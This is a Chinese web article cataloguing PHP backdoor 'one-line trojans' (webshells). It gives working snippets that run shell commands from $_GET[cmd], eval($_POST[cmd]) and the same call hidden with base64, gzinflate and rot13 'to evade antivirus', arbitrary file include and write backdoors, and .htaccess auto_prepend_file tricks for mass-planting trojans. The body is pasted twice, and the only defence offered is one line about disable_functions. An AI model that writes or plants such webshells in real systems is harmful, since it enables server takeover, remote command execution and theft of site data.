PHP木馬大全 一句話的PHP木馬的防范
發(fā)布時間:2012-06-28 10:51:31 作者:佚名
我要評論

php后門木馬對大家來說一點都不陌生吧,但是它的種類您又知多少呢
php后門木馬常用的函數(shù)大致上可分為四種類型:
1. 執(zhí)行系統(tǒng)命令: system, passthru, shell_exec, exec, popen, proc_open
2. 代碼執(zhí)行與加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 文件包含與生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file
1. 執(zhí)行系統(tǒng)命令:
system 函數(shù)
//test.php?cmd=ls
system($_GET[cmd]);
passthru 函數(shù)
//test.php?cmd=ls
passthru($_GET[cmd]);
shell_exec 函數(shù)
//test.php?cmd=ls
echo shell_exec($_GET[cmd]);
exec 函數(shù)
//test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr);
print_r($arr);
popen 函數(shù)
//test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);
proc_open 函數(shù)
//test.php?cmd=ls
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'),
);
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
fclose($pipes[0]);
$output = array();
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
print_r($output);
2. 代碼執(zhí)行與加密:
eval 函數(shù)
//最常見的一句話木馬
eval($_POST[cmd]);
base64_decode 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
gzinflate 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
gzuncompress 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));
gzdecode 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));
str_rot13 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST[cmd]);
eval(str_rot13('riny($_CBFG[pzq]);'));
assert 函數(shù)
//類似eval函數(shù)
assert($_POST[cmd]);
call_user_func 函數(shù)
//使用call_user_func調(diào)用assert
call_user_func('assert',$_POST[cmd]);
call_user_func 函數(shù)
//使用call_user_func調(diào)用任意函數(shù)
//test.php?a=assert&cmd=phpinfo()
call_user_func($_GET[a],$_REQUEST[cmd]);
組合代碼
//組合方式調(diào)用任意函數(shù)
//test.php?a=assert&cmd=phpinfo()
$_GET[a]($_REQUEST[cmd]);
3. 文件包含與生成:
require 函數(shù)
//包含任意文件
//test.php?file=123.jpg
require($_GET[file]);
require_once 函數(shù)
//包含任意文件
//test.php?file=123.jpg
require_once($_GET[file]);
include 函數(shù)
//包含任意文件 www.dbjr.com.cn
//test.php?file=123.jpg
include($_GET[file]);
include_once 函數(shù)
//包含任意文件
//test.php?file=123.jpg
include_once($_GET[file]);
file_get_contents 函數(shù)
//讀取任意文件
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);
file_put_contents 函數(shù)
//生成任意內(nèi)容文件
//a=test.php&b=
file_put_contents($_GET[a],$_GET[b]);
fputs 函數(shù)
//生成任意內(nèi)容文件
//a=test.php&b=
fputs(fopen($_GET[a],"w"),$_GET[b]);
4. .htaccess:
SetHandler
//可將php代碼存于非php后綴文件,例: x.jpg
//將以下代碼寫入.htaccess中
//連接x.jpg即可啟動后門木馬出處www.admin8.us
SetHandler application/x-httpd-php
auto_prepend_file
//可將php代碼存于非php后綴文件,例: 123.gif
//將以下代碼寫入.htaccess中, 文件路徑必須是絕對路徑
//訪問網(wǎng)站上任何php文件都會啟動該php后門木馬
//可在不更改站點源代碼的情況下記錄所有$_REQUEST的值,也可批量掛馬
php_value auto_prepend_file c:/apache2/htdocs/123.gif
auto_append_file
//類似auto_prepend_file
//可將php代碼存于非php后綴文件,例: 123.gif
//將以下代碼寫入.htaccess中, 文件路徑必須是絕對路徑
//訪問網(wǎng)站上任何php文件都會啟動該php后門木馬
php_value auto_append_file c:/apache2/htdocs/123.gif
防范方法:通過禁止危險函數(shù) php.ini中設(shè)置disable_functions詳情可以參考下 http://www.dbjr.com.cn/article/19292.htm
1. 執(zhí)行系統(tǒng)命令: system, passthru, shell_exec, exec, popen, proc_open
2. 代碼執(zhí)行與加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 文件包含與生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file
1. 執(zhí)行系統(tǒng)命令:
system 函數(shù)
//test.php?cmd=ls
system($_GET[cmd]);
passthru 函數(shù)
//test.php?cmd=ls
passthru($_GET[cmd]);
shell_exec 函數(shù)
//test.php?cmd=ls
echo shell_exec($_GET[cmd]);
exec 函數(shù)
//test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr);
print_r($arr);
popen 函數(shù)
//test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);
proc_open 函數(shù)
//test.php?cmd=ls
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'),
);
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
fclose($pipes[0]);
$output = array();
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
print_r($output);
2. 代碼執(zhí)行與加密:
eval 函數(shù)
//最常見的一句話木馬
eval($_POST[cmd]);
base64_decode 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
gzinflate 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
gzuncompress 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));
gzdecode 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));
str_rot13 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST[cmd]);
eval(str_rot13('riny($_CBFG[pzq]);'));
assert 函數(shù)
//類似eval函數(shù)
assert($_POST[cmd]);
call_user_func 函數(shù)
//使用call_user_func調(diào)用assert
call_user_func('assert',$_POST[cmd]);
call_user_func 函數(shù)
//使用call_user_func調(diào)用任意函數(shù)
//test.php?a=assert&cmd=phpinfo()
call_user_func($_GET[a],$_REQUEST[cmd]);
組合代碼
//組合方式調(diào)用任意函數(shù)
//test.php?a=assert&cmd=phpinfo()
$_GET[a]($_REQUEST[cmd]);
3. 文件包含與生成:
require 函數(shù)
//包含任意文件
//test.php?file=123.jpg
require($_GET[file]);
require_once 函數(shù)
//包含任意文件
//test.php?file=123.jpg
require_once($_GET[file]);
include 函數(shù)
//包含任意文件 www.dbjr.com.cn
//test.php?file=123.jpg
include($_GET[file]);
include_once 函數(shù)
//包含任意文件
//test.php?file=123.jpg
include_once($_GET[file]);
file_get_contents 函數(shù)
//讀取任意文件
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);
file_put_contents 函數(shù)
//生成任意內(nèi)容文件
//a=test.php&b=
file_put_contents($_GET[a],$_GET[b]);
fputs 函數(shù)
//生成任意內(nèi)容文件
//a=test.php&b=
fputs(fopen($_GET[a],"w"),$_GET[b]);
4. .htaccess:
SetHandler
//可將php代碼存于非php后綴文件,例: x.jpg
//將以下代碼寫入.htaccess中
//連接x.jpg即可啟動后門木馬出處www.admin8.us
SetHandler application/x-httpd-php
auto_prepend_file
//可將php代碼存于非php后綴文件,例: 123.gif
//將以下代碼寫入.htaccess中, 文件路徑必須是絕對路徑
//訪問網(wǎng)站上任何php文件都會啟動該php后門木馬
//可在不更改站點源代碼的情況下記錄所有$_REQUEST的值,也可批量掛馬
php_value auto_prepend_file c:/apache2/htdocs/123.gif
auto_append_file
//類似auto_prepend_file
//可將php代碼存于非php后綴文件,例: 123.gif
//將以下代碼寫入.htaccess中, 文件路徑必須是絕對路徑
//訪問網(wǎng)站上任何php文件都會啟動該php后門木馬
php_value auto_append_file c:/apache2/htdocs/123.gif
防范方法:通過禁止危險函數(shù) php.ini中設(shè)置disable_functions詳情可以參考下 http://www.dbjr.com.cn/article/19292.htm
相關(guān)文章
- 最近看到網(wǎng)上曝出的dedecms最新版本的一個注入漏洞利用,漏洞PoC和分析文章也已在網(wǎng)上公開.但是在我實際測試過程當(dāng)中,發(fā)現(xiàn)無法復(fù)現(xiàn)2013-06-11
- SQL注入攻擊的危害性很大。在講解其防止辦法之前,數(shù)據(jù)庫管理員有必要先了解一下其攻擊的原理。這有利于管理員采取有針對性的防治措施2012-07-10
- 一直以來很多我網(wǎng)站都被植入了很多后門,這里簡單的分下黑客常用的手段,方便管理員或站長注意防御2013-01-10
訊時系統(tǒng)(xuas)最新通殺漏洞0day圖文說明
訊時系統(tǒng)(xuas)最新通殺漏洞0day圖文說明,使用訊時網(wǎng)站管理系統(tǒng)的朋友可以參考下。2011-07-15- 不知道各位。在上傳的時候。 有沒需要過。 一個上傳。 不修改名字。。然后上傳目錄已經(jīng)被程序所定義了。2011-04-01
phpcms2008 代碼執(zhí)行 批量getshell EXP(使用菜刀)
這篇文章主要介紹了phpcms2008 代碼執(zhí)行 批量getshell EXP的相關(guān)資料,需要的朋友可以參考下2014-05-09- php后臺插一句話的思路加114網(wǎng)址導(dǎo)航后臺拿webshell的方法。2011-09-29
- 現(xiàn)在很多搞web開發(fā)的人,腳本安全做得真爛,簡單而又“復(fù)雜”過濾兩下,事實上根本沒理解到真正的方法,也怪90%的腳本書上只講語法,順便鄙視下國內(nèi)那些XX磚家寫的書,不講2011-05-15
- 在網(wǎng)上也有什么訊時三板斧的文章..但我個人覺得有時候靠那三種還是入侵不了(隨著版本的更新)2011-07-15
- 大家都知道,沒有一臺電腦是完全安全的,都有一個攻破點,下面小編就以實例來講解一下,一起來看看吧2016-09-01